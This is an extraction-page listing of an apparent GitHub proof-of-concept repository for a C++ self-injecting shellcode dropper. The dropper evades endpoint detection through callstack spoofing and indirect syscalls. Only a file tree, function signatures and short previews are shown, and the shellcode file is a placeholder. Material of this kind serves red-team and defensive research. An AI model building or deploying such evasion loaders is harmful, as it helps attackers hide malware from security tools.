├── Assembly.asm
├── Callbacks.h
├── Compiler.bat
├── LICENSE
├── Main.cpp
├── PEB.h
├── README.md
└── Shellcode.h
Download .txt
SYMBOL INDEX (28 symbols across 3 files)

FILE: Callbacks.h
  type NTALLOCATEVIRTUALMEMORY_ARGS (line 7) | typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
  type NTWRITEVIRTUALMEMORY_ARGS (line 17) | typedef struct _NTWRITEVIRTUALMEMORY_ARGS {
  type NTCREATETHREADEX_ARGS (line 26) | typedef struct _NTCREATETHREADEX_ARGS {

FILE: Main.cpp
  function HMODULE (line 23) | HMODULE GetNtdllHandle() {
  function PIMAGE_EXPORT_DIRECTORY (line 36) | PIMAGE_EXPORT_DIRECTORY GetExportTableAddress(HMODULE ImageBase) {
  function HANDLE (line 51) | HANDLE GetExportFunctionAddress(HMODULE moduleHandle, PIMAGE_EXPORT_DIRE...
  function DWORD (line 79) | DWORD GetSSN(const char* functionName) {
  function VOID (line 95) | VOID initVariables() {
  function VOID (line 113) | VOID setCallback(PTP_WORK_CALLBACK callback, PVOID args) {
  function PVOID (line 125) | PVOID NtAllocateVirtualMemory(HANDLE hProcess) {
  function VOID (line 143) | VOID NtWriteVirtualMemory(HANDLE hProcess, PVOID allocatedAddress, PULON...
  function VOID (line 157) | VOID NtCreateThreadEx(HANDLE hProcess, HANDLE hThread, PVOID allocatedAd...
  function main (line 179) | int main() {

FILE: PEB.h
  type LSA_UNICODE_STRING (line 7) | typedef struct _LSA_UNICODE_STRING {
  type LDR_MODULE (line 13) | typedef struct _LDR_MODULE {
  type PEB_LDR_DATA (line 29) | typedef struct _PEB_LDR_DATA {
  type PEB (line 38) | typedef struct _PEB {
  type CLIENT_ID (line 95) | typedef struct __CLIENT_ID {
  type TEB_ACTIVE_FRAME_CONTEXT (line 100) | typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
  type TEB_ACTIVE_FRAME (line 105) | typedef struct _TEB_ACTIVE_FRAME {
  type GDI_TEB_BATCH (line 111) | typedef struct _GDI_TEB_BATCH {
  type PVOID (line 117) | typedef PVOID PACTIVATION_CONTEXT;
  type RTL_ACTIVATION_CONTEXT_STACK_FRAME (line 119) | typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
  type ACTIVATION_CONTEXT_STACK (line 125) | typedef struct _ACTIVATION_CONTEXT_STACK {
  type TEB (line 133) | typedef struct _TEB {
  type LDR_DATA_TABLE_ENTRY (line 292) | typedef struct _LDR_DATA_TABLE_ENTRY {
  type OBJECT_ATTRIBUTES (line 322) | typedef struct _OBJECT_ATTRIBUTES {
  type INITIAL_TEB (line 331) | typedef struct _INITIAL_TEB {
Condensed preview — 8 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (30K chars).
[
  {
    "path": "Assembly.asm",
    "chars": 4005,
    "preview": "section .data\r\n\r\nsyscall_ret dq 0000000000000000h\r\nadd_rsp_ret dq 0000000000000000h\r\n\r\nsection .text\r\n\r\nglobal GetSSNByF"
  },
  {
    "path": "Callbacks.h",
    "chars": 2512,
    "preview": "#include <windows.h>\r\n\r\n/////////////////////\r\n//  CALLBACK ARGS  //\r\n/////////////////////\r\n\r\ntypedef struct _NTALLOCAT"
  },
  {
    "path": "Compiler.bat",
    "chars": 110,
    "preview": "@ECHO OFF\r\n\r\nnasm -f win64 .\\Assembly.asm -o .\\Assembly.obj\r\ng++ -o poc.exe main.cpp Assembly.obj\r\ndel *.obj\r\n"
  },
  {
    "path": "LICENSE",
    "chars": 1063,
    "preview": "MIT License\n\nCopyright (c) 2023 pard0p\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof "
  },
  {
    "path": "Main.cpp",
    "chars": 7636,
    "preview": "#include \"Callbacks.h\"\r\n#include \"Shellcode.h\"\r\n#include \"PEB.h\"\r\n#include <iostream>\r\n\r\n//Definition of the Windows Thr"
  },
  {
    "path": "PEB.h",
    "chars": 10701,
    "preview": "#pragma once\r\n#include <Windows.h>\r\n\r\n/*--------------------------------------------------------------------\r\n  STRUCTUR"
  },
  {
    "path": "README.md",
    "chars": 1874,
    "preview": "# Callstack spoofing + Indirect Syscalls POC\nThis project consists of a simple C++ self-Injecting dropper focused on EDR"
  },
  {
    "path": "Shellcode.h",
    "chars": 43,
    "preview": "unsigned char code[] = \" --- SHELCODE ---\";"
  }
]

About this extraction

This page contains the full source code of the pard0p/CallstackSpoofingPOC GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 8 files (27.3 KB), approximately 7.6k tokens, and a symbol index with 28 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!